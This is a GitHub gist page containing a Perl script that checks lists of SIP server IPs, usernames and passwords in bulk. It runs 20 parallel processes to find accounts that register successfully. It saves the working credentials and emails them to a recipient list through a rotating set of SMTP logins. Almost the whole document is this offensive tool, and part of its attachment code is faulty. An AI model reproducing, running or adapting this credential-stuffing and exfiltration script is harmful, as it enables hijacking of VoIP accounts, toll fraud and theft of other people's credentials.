Created
January 17, 2014 14:16
-
-
Save silvioq/8473979 to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#!/usr/bin/env perl | |
# Requeriments | |
# MIME::Base64 | |
# Authen::SASL | |
# Net::SIP | |
# MIME::Lite | |
# Net::SMTP | |
use strict; | |
use warnings; | |
use Net::SIP; | |
use Data::Dumper; | |
use Net::SIP::Debug; | |
use Net::SMTP; | |
use MIME::Lite; | |
use Getopt::Long; | |
sub usage(){ | |
print STDERR <<EOF | |
usage: $0 [options] | |
-f|--forks num Number of forks process (20 default) | |
-h|--help This screen | |
-o|--output output.txt Output filename | |
-i|--input input.txt Input filename (default stdin) in server user pass for SIP check | |
-m|--mails mails.txt Mails recipients | |
-s|--smtp smtp.txt Smtp config in format serverip user pass | |
-j|--subject text Subject of email | |
--no-search Omits SIP search phase | |
--no-send Omits send emails phase | |
EOF | |
; | |
exit 1; | |
} | |
my $forks = 20; | |
my $smtpname = "smtp.txt"; | |
my $inputname = "-"; | |
my $outputname = "output.txt"; | |
my $mailname = "mails.txt"; | |
my $subject = "sip account's found"; | |
my $send = 1; | |
my $search = 1; | |
GetOptions( | |
'f|forks=i' => \$forks, | |
'h|help' => sub{ usage(); }, | |
'o|output=s' => \$outputname, | |
'i|input=s' => \$inputname, | |
'm|mails=s' => \$mailname, | |
's|smtp=s' => \$smtpname, | |
'j|subject=s' => \$subject, | |
'no-search' => sub{ $search = 0 }, | |
'no-send' => sub{ $send = 0 }, | |
) || usage( ); | |
my $outputfile; | |
my $inputfile; | |
my $mailfile; | |
my $smtpfile; | |
# Open all file first! | |
if( $search ){ | |
open( $outputfile, ">", $outputname ) or die( "Can't open $outputname"); | |
open( $inputfile, "<$inputname" ) or die( "Can't open $inputname"); | |
} | |
if( $send ){ | |
open( $mailfile, "<$mailname" ) or die( "Can't open $mailname"); | |
open( $smtpfile, "<$smtpname" ) or die( "Can't open $smtpname"); | |
} | |
my @childs; | |
my @file = (); | |
# Read the server list | |
my @servers; | |
my $count; | |
if( $send ){ | |
while( <$smtpfile> ){ | |
chomp; | |
my( $server, $user, $pass ) = split ' ', $_; | |
push @servers, { s => $server, u => $user, p => $pass }; | |
$count ++; | |
} | |
die( "Error in $smtpname: 0 server founds" ) unless $count > 0; | |
} | |
# Function to process every line of sip list | |
sub process($){ | |
my $module = shift; | |
my $count = 0; | |
foreach( @file ){ | |
$count ++; | |
next if( $count % $forks != $module ); | |
my( $ip, $user, $pass ) = split " ", $_; | |
if( oksip( $ip, $user, $pass ) ){ | |
print( $outputfile $user . ":" . $pass. "@" . $ip . "\n" ); | |
} | |
} | |
} | |
# This funcion check for ip, user, pass in the sip server | |
sub oksip($$$){ | |
my( $ip, $user, $pass ) = @_; | |
my $ua = Net::SIP::Simple->new( | |
registrar => $ip, | |
domain => $ip, | |
from => $user, | |
auth => [ $user,$pass ], | |
); | |
my $result; | |
if( $result = $ua->register ){ | |
print $$ . ") " . $user . ":" . $pass. "@" . $ip . " => FINE " . $result . " \n"; | |
return 1; | |
} else { | |
print $$ . ") " . $user . ":" . $pass. "@" . $ip . " => OUCH " . $ua->error . " \n"; | |
return 0; | |
} | |
} | |
# Send mail function | |
sub sendmail($$$$){ | |
my ($ip, $user, $pass, $to ) = @_; | |
my $msg = MIME::Lite->new ( | |
From => $ENV{USER}, | |
To => $to, | |
Subject => $subject, | |
Type =>'multipart/mixed' | |
) or die "Error creating multipart container: $!\n"; | |
$msg->attach ( | |
Type => 'TEXT', | |
Data => "SIP Account found", | |
) or die "Error adding the text message part: $!\n"; | |
$msg->attach ( | |
Type => 'text/plain', | |
Path => $outputfile, | |
Filename => $outputfile, | |
Disposition => 'attachment' | |
) or die "Error adding $outputfile: $!\n"; | |
MIME::Lite->send('smtp', $ip, AuthUser=>$user, AuthPass=>$pass) or | |
die( "Error preparing smtp $! server=$ip - User=$user Pass=$pass" ); | |
eval{ | |
$msg->send; | |
}; | |
if( $@ ){ | |
die( "Error sendig smtp $@ server=$ip - User=$user Pass=$pass" ); | |
} | |
} | |
# Read phase | |
if( $search ){ | |
while( <$inputfile> ){ | |
chomp; | |
push @file, $_; | |
} | |
open( $outputfile, ">", $outputname ) or die( "Can't open $outputfile"); | |
for ( my $count = 0; $count < $forks; $count++) { | |
my $pid = fork(); | |
if ($pid) { | |
# parent | |
#print "pid is $pid, parent $$\n"; | |
push(@childs, $pid); | |
} elsif ($pid == 0) { | |
# child | |
process($count); | |
exit 0; | |
} else { | |
die "couldnt fork: $!\n"; | |
} | |
} | |
foreach (@childs) { | |
my $tmp = waitpid($_, 0); | |
} | |
close( $outputfile ); | |
} | |
# Send mail phase | |
if( $send ){ | |
my $serverNum = 0; | |
while( <$mailfile> ){ | |
chomp; | |
my $account = $_; | |
my $pid = fork(); | |
if( $pid == 0 ){ | |
sendmail( $servers[$serverNum]->{s}, | |
$servers[$serverNum]->{u}, | |
$servers[$serverNum]->{p}, | |
$account ); | |
exit 0; | |
} else { | |
$serverNum ++; | |
$serverNum = 0 if $serverNum >= $count; | |
} | |
} | |
wait; | |
} | |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment